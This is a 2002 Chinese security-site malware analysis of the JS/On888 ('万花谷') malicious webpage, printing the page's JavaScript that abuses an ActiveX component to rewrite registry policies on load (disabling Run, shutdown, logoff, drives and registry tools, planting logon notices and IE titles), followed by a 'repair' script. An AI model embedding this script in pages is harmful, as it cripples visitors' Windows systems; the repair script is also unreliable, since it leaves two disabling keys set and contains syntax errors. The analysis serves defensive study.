首页 | 新闻资讯 | 培训认证 | 安全管理 | 病毒分析 | 安全协议 | 网络安全 | 防火墙 | 黑客技术
DB安全 | Web安全 | 入侵检测 | 安全审计 | 设备安全 | 备份恢复 | 安全标准 | 法律法规 | 无线安全
OS安全 | PKI与PMI | 病毒防治 | 隔离网闸 | XML安全 | 网管专区 | 经典案例 | 技术论坛 |  
+ 文章搜索 +
当前位置:首页>>病毒分析>>正文
关键字:
范 围:
※推荐文章※
万花谷网站恶意病毒陷阱分析介绍及修复代码
作者: 文章出处: 发布时间:2002-02-23 点击: 字体: 【

 作者:邱腾

新浪科技报道:
  国家反病毒应急处理中心联防单位北京江民公司的反病毒应急小组最近监测到国内有心怀不轨的人到处在互连网上散发
一个美丽诱人的网址"万花谷",这实际是一个恶意"陷阱",有人经不住诱惑,只用鼠标轻轻点一下,计算机就立即瘫痪了,
这是有人利用Java最新技术进行破坏的又一个恶意网址。北京江民公司提醒广大上网用户注意严加防范,遇到有On888.xxx之
类的网址请不要点击,并开启KVW3000的病毒实时监视防火墙进行防杀。

该病毒的技术特征:

JS/On888是一个新的含有有害代码的ActiveX网页文件,它通过在一个网络地址来对计算机用户造成破坏,其破坏特性如下:
 (1)用户不能正常使用WINDOWS的DOS功能程序;
 (2)用户不能正常退出WINDOWS,
 (3)开始菜单上的"关闭系统"、"运行"等栏目被屏蔽,防止用户重新以DOS方式启动,关闭DOS命令、关闭REGEDIT命令等。
 (4)将IE的浏览器的首页和收藏夹中都加入了含有该有害网页代码的网络地址。
具体的表现形式是:
 a:网络地址是:www.on888.xxx.xxx.com;
 b:在IE的"收藏夹"中自动加上"万花谷"的快捷方式,网络地址是:"http://96xx.xxx.com";


下面,作者提供病毒代码的分析,及对其修复的代码:

之所以将病毒命名为JS/xxxxx,
其原因就是因为它是在页面中使用了恶意的JavaScript代码:

首先,让我们看看HTML页面是如何修改IE标题的:
原因是利用了下面这段JavaScript代码修改了
HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\

HKCU\Software\Microsoft\Internet Explorer\Main\
中的Window Title这个键的键值;
并修改了用户的许多IE设置,如
消除RUN按纽、消除关闭按纽、消除注销按纽、隐藏桌面、隐藏盘符、禁止注册表等
以下就是这个病毒的代码:

<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
<!--创建到收藏夹-->
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
<!--ActiveX初始化过程-->
ActiveX initialization
a1=document.applets[0];
a1.setCLSID("");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookies.indexOf("Chg") == -1)
{
<!--修改设置主页-->
//Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://com.6to23.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
<!--改写注册表-->
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"); //消除RUN按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY"); //消除关闭按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY"); //消除注销按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "63000000", "REG_DWORD"); //隐藏盘符
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD"); //禁止注册表
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "您的计算机已经被http://www.cnhack.org/优化: )");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "您的计算机已经被http://www.cnhack.org/优化: )");
//设置开机提示
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "新的标题★http://com.6to23.com/ & http://www.cnhack.org/");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "新的标题★http://com.6to23.com/ & http://www.cnhack.org/");
//设置IE标题
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
<!--实现打开页面后1秒钟内执行测试修改注册表的工作-->
init();</SCRIPT>


以下是利用一段类似的JavaScript代码修复各项的键值:
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
<!--创建到收藏夹-->
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
<!--ActiveX初始化过程-->
ActiveX initialization
a1=document.applets[0];
a1.setCLSID("");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookies.indexOf("Chg") == -1)
{
<!--修改设置主页-->
//Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://com.6to23.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
<!--改写注册表-->
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 00, "REG_BINARY"); //修复RUN按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 00, "REG_BINARY"); //修复关闭按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 00, "REG_BINARY"); //修复注销按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "00000000", "REG_DWORD"); //取消隐藏盘符
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000000", "REG_DWORD"); //取消禁止注册表
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "");
//重设开机提示
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer");
//重设IE标题
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
<!--实现打开页面后1秒钟内执行测试修改注册表的工作-->
init();</SCRIPT>

作者提供了以上程序,大家可以根据自己对注册表的了解自行修改……
不过声明,本段代码仅供学习使用,不要将本段代码用在不正当的途径!

完.
返回顶部↑】 【推荐好友】 【查看评论
用户名: 新注册) 密码: 匿名评论 [查看评论] 发表评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
  Copyright © 2004-2005 infosecurity.org.cn . All Rights Reserved
版权所有:中国信息安全组织 系统管理:webmaster@infosecurity.net.cn
本站部分资源来自互联网,如有侵犯您的版权或其他问题,请通知管理员,我们会尽快处理!